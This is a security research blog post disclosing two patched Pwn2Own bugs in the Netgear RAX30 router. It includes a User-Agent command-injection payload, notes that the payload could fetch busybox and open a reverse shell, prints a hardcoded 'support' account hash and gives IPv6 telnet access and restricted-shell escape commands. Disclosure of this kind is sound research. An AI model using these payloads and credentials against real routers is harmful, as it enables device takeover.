Cool vulns don't live long - Netgear and Pwn2Own

Written by Kevin Denis - 06/12/2022 - in Exploit - Download
Pwn2own is a competition where hackers try to execute arbitrary code on selected devices. This blogpost will describe two vulnerabilities found in the Netgear RAX30 router, and explain how both were patched the day before the event.

For this Pwn2Own edition, we chose to analyze the Netgear Router RAX30. The Netgear firmware version was the at the time, and it can be downloaded on the official website. Once downloaded, all files can be extracted with the binwalk command. We end up with a pretty standard Linux kernel and filesystem.

Analysis of the LAN bug

We begun by identifying files and services in the router by listing directories, and a binary immediately caught our eye:

$ ls -1 squashfs-root/bin/
squashfs-root/bin/puhttpsniff            <--- This one

We can also see that this binary is started by default:

mitsurugi@dojo$ grep -r puhttpsniff squashfs-root/

A first analysis with strings reveals some juicy content:

mitsurugi@dojo$ ls -l squashfs-root/bin/puhttpsniff
-rwxr-xr-x 1 mitsurugi mitsurugi  4 sept. 21:24 squashfs-root/bin/puhttpsniff
mitsurugi@dojo$ strings squashfs-root/bin/puhttpsniff
pudil -i %s "%s"
iptables -w -t filter -D INPUT -i br0 -p tcp --dport 80 -j NFLOG --nflog-group 0 --nflog-size 512 2> /var/tmpDebug
iptables -w -t filter -I INPUT -i br0 -p tcp --dport 80 -j NFLOG --nflog-group 0 --nflog-size 512
iptables -w -t filter -D FORWARD -i br0 -p tcp --dport 80 -j NFLOG --nflog-group 0 --nflog-size 512 2> /var/tmpDebug
iptables -w -t filter -I FORWARD -i br0 -p tcp --dport 80 -j NFLOG --nflog-group 0 --nflog-size 512
HTTP sniffer start!!

With this snippet only, we can imagine the workflow. This binary inserts NFLOG iptables rules in order to run callbacks. The "User-Agent" strings leads us to understand what is searched, and the pudil -i %s "%s" line is quite interesting. Here is the decompiled part dealing with User-Agent:

The NFLOG target is triggered for INPUT and FORWARD chains. As the webadmin listens on the br0 interface on port 80, we can just send data on the default IP address. Putting arbitraty data in a User-Agent header triggers a code injection:

$ curl --user-agent "a\";/sbin/reboot;\""

Sending such a request makes the router reboot. That was quite a quick win for the LAN. We can inject 255 characters in the "User-Agent" string, which is enough to do anything we need to take-over the router, such as downloading a full featured busybox, and launch a reverse-shell.

Analysis of the WAN bug

A DHCP server has been set up to give an IP for the Netgear WAN interface. With the help of the LAN bug, we have a shell on the router. We first started by listing processes and sockets and saw that ssh (TCP port 22), telnet (TCP port 23) and others are listening on both IPv4 and IPv6 interfaces.

A quick nmap from the WAN interface in IPv4 shows that all ports are closed. But an nmap on the IPv6 address shows open ports (!!). Here is a demo showing the scan on TCP port 23:

mitsurugi@dojo$ nmap -6 -p 23 fe80::6ecd:d6ff:fe44:dd73%eth1
Starting Nmap 7.80 ( ) at 2022-12-01 12:04 CET
Nmap scan report for fe80::6ecd:d6ff:fe44:dd73
Host is up (0.00061s latency).
23/tcp    open       telnet
Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

telnet port is accessible from WAN side. This is a huge flaw. Although some ip6tables rules are defined to restrict accesses, they are only applied to the br0 interface (the LAN one), and for the WAN interface only if a public IPv6 address is provided. If only a link-local address is in use on the WAN interface, rules are not applied, so anyone on the same network segment than the Netgear can query the IPv6 link-local address to connect to the services, including webadmin, telnet, ssh, soap_serverd, and so on.

The previous vulnerability in the router allows us to find an hardcoded account in the /etc/passwd file:

mitsurugi@dojo$ cat /etc/passwd
admin:<admin passwd hash>:0:0:Administrator:/:/bin/sh
support:$1$QkcawmV.$VU4maCah6eHihce5l4YCP0:0:0:Technical Support:/:/bin/sh
user:$1$9RZrTDt7$UAaEbCkq.Qa4u0QwXpzln/:0:0:Normal User:/:/bin/sh
nobody:<admin passwd hash>:0:0:nobody for ftp:/:/bin/sh

Cracking "support" account's password is left as an exercise for the reader (less than a second using John the Ripper). One can also notice that "support" account holds uid 0. Connecting to the router through telnet with the "support" account grants access to a restricted shell:

$ telnet fe80::6ecd:d6ff:fe44:dd73%eth1
Trying fe80::6ecd:d6ff:fe44:dd73%eth1...
Connected to fe80::6ecd:d6ff:fe44:dd73%eth1.
Escape character is '^]'.
BCM96750 Broadband Router
Login: support
 > help

Escaping this restricted shell can be achieved in many ways. One can call subshells with $(...), chain commands with a ';', or even call 'sh' (hidden command).

 > ifconfig a; /bin/ash
ifconfig a ; /bin/ash
ifconfig: a: error fetching interface information: Device not found

BusyBox v1.31.1 (2022-05-11 10:37:23 CST) built-in shell (ash)

Enter 'help' for a list of built-in commands.
# uname -a
Linux RAX30 4.19.151 #1 SMP PREEMPT Wed May 11 10:27:11 CST 2022 armv7l

Knowing the MAC address of the WAN interface (by pinging it for example), one can deduce the IPv6 link-local address (RFC 4291 section 2.5.6 + Appendix A), launch the telnet command, connect and escape shell.

The patch

The rules of the Pwn2Own contest are clear: all devices are up-to-date until draw. The draw takes place on the December 2nd. On November 30th, Netgear pushed a hotFix, version Both vulnerabilities were killed by this update.

The puhttsniff binary does not call system() anymore, but uses execve(), and there is no more command injection.

The IPv6 firewall was setup also for the WAN interface, so IPv6 services are not accessible through link-local anymore.


Playing Pwn2Own is a fun game, but having vulnerabilities killed the day before the contest is frustrating, "c'est la vie mon ami" (as french says). However, please update this router to version, and remember that some contestants still have bugs for this Pwn2own target, so do not forget to check for future updates!

Finally, Synacktiv team still has entries in the printers category, can't wait to watch them pop shells! GL, HF!